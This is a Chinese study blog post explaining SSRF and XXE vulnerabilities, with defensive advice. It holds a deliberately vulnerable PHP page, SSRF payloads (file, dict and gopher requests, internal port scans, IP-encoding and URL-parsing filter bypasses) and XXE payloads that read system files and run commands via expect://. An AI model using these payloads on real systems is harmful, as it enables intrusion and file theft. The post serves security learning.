Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

第十三周:SSRF漏洞学习实战

任务标题:Web 安全之 SSRF 漏洞学习实战

1、编写一个存在 ssrf 漏洞页面,思考造成该漏洞的函数有哪些

2、利用 ssrf 进行内网端口扫描(思考利用 ssrf 可以做什么,为什么)

扩展学习:防御 SSRF 漏洞都有哪些方式,是否可以绕过,思考总结和实际操作过程记录在报告中

学习报告

0x01 SSRF漏洞原理

SSRF,英文全称为Server-Side Request Forgery,中文直译服务端请求伪造。从字面意思来理解,伪造服务端请求,那么很容易就可以想到用这个漏洞可以突破客户端获取不到敏感数据的限制。(服务端请求,突破了内外网限制)

现在很多WEB应用都可以使用指定的URL从其他的服务器获取资源,如:获取图片、下载文件。假如这个URL完全可控,服务端为对它做任何的限制,那么我们便可以构造恶意请求地址,如读取服务器的文件www.demo.com/ssrf.php?url=file:///C:/windows/win.ini这样就可以被称为一次SSRF攻击。

亦或是另一种情况,有些敏感资源客户端读取不到,限制了服务器读取,所以可以伪造服务器请求完成一次SSRF攻击,示意图如下:

image-20210112164336938

0x02 SSRF漏洞代码示例

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(E_ALL ^ E_NOTICE);
function curl($url){
$ch = curl_init();//初始化curl会话
curl_setopt($ch,CURLOPT_URL,$url);//指定请求的url
curl_setopt($ch,CURLOPT_HEADER,0);// 启用时会将头文件的信息作为数据流输出。参数为1表示输出信息头,为0表示不输出
curl_exec($ch);
curl_close($ch);
}
$url = $_GET['url'];
curl($url);
?>

常见的可能引起SSRF的PHP函数有:file_get_contents()fsockopen()curl_exec()

file_get_contents() 函数把整个文件读入一个字符串中。

*fsockopen()*函数的作用是可以用来打开一个socket连接。

curl_exec()功能是执行一个cURL会话,成功返回true,失败返回false。

curl_setopt()函数将为一个CURL会话设置选项。option参数是你想要的设置,value是这个选项给定的值。

0x03 SSRF漏洞利用

利用上面编好的SSRF漏洞来测试一下:

  • 探测一下本地是否存在mysql服务器

    image-20210112171819795

    出现mysql相关的提示,说明这个服务器上存在mysql。

    Tips:如果对url后缀有限制则可以用?或者#绕过,如http://127.0.0.1/SSRF/ssrf.php?url=127.0.0.1:3306/?.jpg

  • 伪造请求访问百度(用服务器做跳板访问别的网站)

    image-20210112171753568

  • 伪造请求探测服务器开放的端口

    和第一点相同,更改不同的端口号进行遍历来判断端口是否开放。

    image-20210112174020245

  • 伪造请求读取服务器(内网)敏感资料

    image-20210112173851062

其余的利用点:

  • 建立持续性连接传输大文件从而实现DDOS
  • 攻击运行在内网或者本地的应用程序(比如溢出)
  • 对内网的web应用进行指纹识别(访问特定页面)
  • 攻击内外网的web应用,如:struts2、sqli

SSRF的利用主要与协议相关,其他常用的协议有:

  1. file:读取服务器上任意文件内容ssrf.php?url=file:///etc/password

  2. dict:dict://@:/d:可以用来操作内网Redis等服务ssrf.php?url=dict://attacker:11111/。字典协议自带头尾,限制较大,不能转化成GET或者POST的请求包。

  3. ftp、ftps:FTP匿名访问、爆破

  4. tftp:UDP协议扩展

  5. imap/imaps/pop3/pop3s/smtp/smtps:爆破邮件用户名密码

  6. phar://协议来触发反序列化漏洞

  7. telnet:SSH/Telnet匿名访问及爆破

  8. smb/smbs:SMB匿名访问及爆破

  9. LDAP:ldap:// or ldaps:// or ldapi://代表轻量级目录访问协议

  10. Gopher:gopher:// 非常强大的协议,支持换行可以伪造其他的所有协议,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

    1
    2
    1. http://www.aaaaa.com/ssrf.php?url=gopher://192.168.1.100:22
    2. http://www.aaaaa.com/ssrf.php?url=gopher://127.0.0.1:81/_POST%20%2fjson.php%20HTTP%2f1.1%250d%250aHost%3a%20luoke.cn%3a81%250d%250aOrigin%3az.cn%250d%250aContent-Length%3a%208%250d%250a%250d%250a{%22id%22%3a1}

0x04 SSRF漏洞常见挖掘方法

SSRF常见的种类

  1. 远程下载SSRF:可以直接操纵服务器远程下载其他服务器的资源,这种可以完全回显所有信息,危害最大。
  2. 布尔型SSRF:不会回显被攻击的内网信息,是提示true和false,这种对攻击者提供的信息较少,一般只能探测和盲打,利用率不高。
  3. 无回显SSRF:不回显任何信息的SSRF。只能通过dnslog判断ssrf是否存在,无法用来探测内网,只能配合其他信息泄露来盲打内网。单独存在没有危害。

SSRF通常可能存在的地方

  1. 社交分享功能:获取超链接的标题等内容进行显示

  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览

  3. 在线翻译:给网址翻译对应网页的内容

  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片

  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验

  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试

  7. 网站采集、网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作

  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数

  9. 邮件系统:比如接收邮件服务器地址

  10. 编码处理、属性信息处理、文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等

  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞

    1
    一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)

SSRF漏洞验证方法

  1. 排除法:查看源代码看是否在本地进行了请求

    1
    2
    3
    http://www.XXXXX.com/***/service?image=http://www.baidu.com/img/bd_logo1.png

    直接右键图片,在新窗口打开图片,如果是浏览器上URL地址栏是http://www.baidu.com/img/bd_logo1.png,说明不存在SSRF漏洞。
  2. dnslog等工具进行测试,看是否被访问

    1
    可以在盲打后台用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求。
  3. 抓包分析发送的请求是不是由服务器的发送的,如果不是客户端发出的请求,则有可能是

    1
    使用burpsuite等抓包工具来判断是否不是SSRF,首先SSRF是由服务端发起的请求,因此在加载图片的时候,是由服务端发起的,所以在我们本地浏览器的请求中就不应该存在图片的请求.

SSRF绕过过滤

  1. 更改ip写法,通过进制绕过

    1
    2
    3
    4
    5
    例如192.168.0.1
    8进制:0300.0250.0.1
    16进制:0xC0.0xA8.0.1
    10进制整数倍:3232235521
    16进制整数格式:0xC0A80001
  2. 利用URL解析特点

    1
    2
    3
    在某些情况下,后端程序可能会对访问的URL进行解析,对解析出来的host地址进行过滤。这时候可能会出现对URL参数解析不当,导致可以绕过过滤。
    eg:http://www.baidu.com@192.168.0.1/
    当后端程序通过不正确的正则表达式(比如将http之后到com为止的字符内容,也就是www.baidu.com,认为是访问请求的host地址时)对上述URL的内容进行解析的时候,很有可能会认为访问URL的host为www.baidu.com,而实际上这个URL所请求的内容都是192.168.0.1上的内容。
  3. 利用http://xip.io进行绕过

    1
    利用37signals开发实现的定制DNS服务(xip.io)可以指向任意ip的域名,例如192.168.0.1.xip.io,会自动重定向到192.168.0.1上。
  4. 短网址绕过:百度短网址,新浪短网址等

0x05 SSRF漏洞常用防御方法

通过上面的知道了SSRF漏洞最大的成因是URL完全可控,服务器会对用户构造的URL进行响应,所以从防御方面来看我们要禁止服务器随意响应用户构造的URL。

  1. 过滤。获取到资源前先在服务器端检验是否包含敏感内容,通过后再传给用户。
  2. 禁止跳转。防止用户利用服务器做跳板机
  3. 禁用不需要的协议。如只开放HTTPS,这样就无法利用FILE读文件以及其他协议。
  4. 限制端口。只开发常用端口
  5. 统一返回的错误信息。这样用户就不可以根据返回信息判断端口情况。
  6. 使用DNS缓存技术防止DNS解析攻击
  7. 使用正则防止畸形绕过

0x05 XXE

1. XXE介绍

XXE,英文全称为XML External Entity Injection,翻译成中文为XML外部实体注入。通过字面意思就可以知道这是通过外部实体进行注入的,那么要知道外部实体是什么就必须先看一下XML结构示意图。

image-20210112220216997

首先是XML声明这是固定不变的,然后是文档类型定义,不同的文档类型有不同的文档元素。例如上文中的DTD定义文档的根元素是note,则下面note文档元素应该如定义的写法一样。当允许应用外部实体时就可以构造恶意内容进行攻击。

2. 引入外部实体

  • 方式一

    1
    2
    3
    4
    5
    <?xml version="1.0"?>
    <!DOCTYPE a [
    <! ENTITY b SYSTEM "file:///etc/passwd"> //这里的a,b自定义
    ]>
    <c>&b;</c> //引用b里面的内容,也就是双引号内的内容
  • 方式二

    1
    2
    3
    4
    5
    6
    7
    8
    <?xml version="1.0"?>
    <!DOCTYPE a [
    <! ENTITY % d SYSTEM "http://demo.com/xxe.dtd"
    %d;
    ]>
    <c>&b;</c>

    xxe.dtd中的内容为:<! ENTITY b SYSTEM "file:///etc/passwd">
  • 方式三

    1
    2
    3
    4
    5
    6
    <?xml version="1.0"?>
    <!DOCTYPE a SYSTEM "http://demo.com/xxe.dtd">
    ]>
    <c>&b;</c>

    xxe.dtd中的内容为:<! ENTITY b SYSTEM "file:///etc/passwd">

3. 常用攻击payload

  • 读取任意文件

    1
    2
    3
    4
    5
    6
    7
    8
    9
    <?xml version="1.0" ?>
    <!DOCTYPE foo [
    <!ELEMENT foo ANY > //这里的ANY定义了文档元素可以为任意元素
    <!ENTITY xxe SYSTEM "file:///c:/windows/system.ini" >
    ]>
    <creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
    </creds>
  • 执行系统命令

    1
    2
    3
    4
    5
    <?xml version="1.0" ?> 
    <!DOCTYPE ANY[ //这里的ANY定义了文档元素可以为任意元素
    <!ENTITY xxe SYSTEM "expect://id">
    ]>
    <x>&xxe;</x>
  • 探测内网端口

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" ?> 
    <!DOCTYPE ANY[ //这里的ANY定义了文档元素可以为任意元素
    <!ENTITY xxe SYSTEM "http://demo.com:3306/image">
    ]>
    <x>&xxe;</x>

    原理类似于ssrf的端口探测,都是基于返回的错误信息进行判断。
  • 攻击内网网站(struts2)

    1
    2
    3
    4
    5
    6
    7
    <?xml version="1.0" ?> 
    <!DOCTYPE ANY[ //这里的ANY定义了文档元素可以为任意元素
    <!ENTITY xxe SYSTEM "http://demo.com:8080/struts2-blank">
    ]>
    <x>&xxe;</x>

    原理类似于ssrf的攻击内网网站,都是基于内网机器可以对内网机器发起请求引起的。
  • 常用的协议

    image-20210112223950560

4. XXE防御手段

  1. 禁用外部实体应用

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    1. php
    libxml_disable_entity_loader(true);

    2. JAVA
    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);

    .setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);

    .setFeature("http://xml.org/sax/features/external-general-entities",false)

    .setFeature("http://xml.org/sax/features/external-parameter-entities",false);
    3. Python
    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  2. 黑名单过滤

    1
    建立黑名单,如DOCTYPE、ENTITY、SYSTEM、PUBLIC等字符,过滤掉用户输入的敏感词。

0x06 参考链接

SSRF部分:

XXE部分: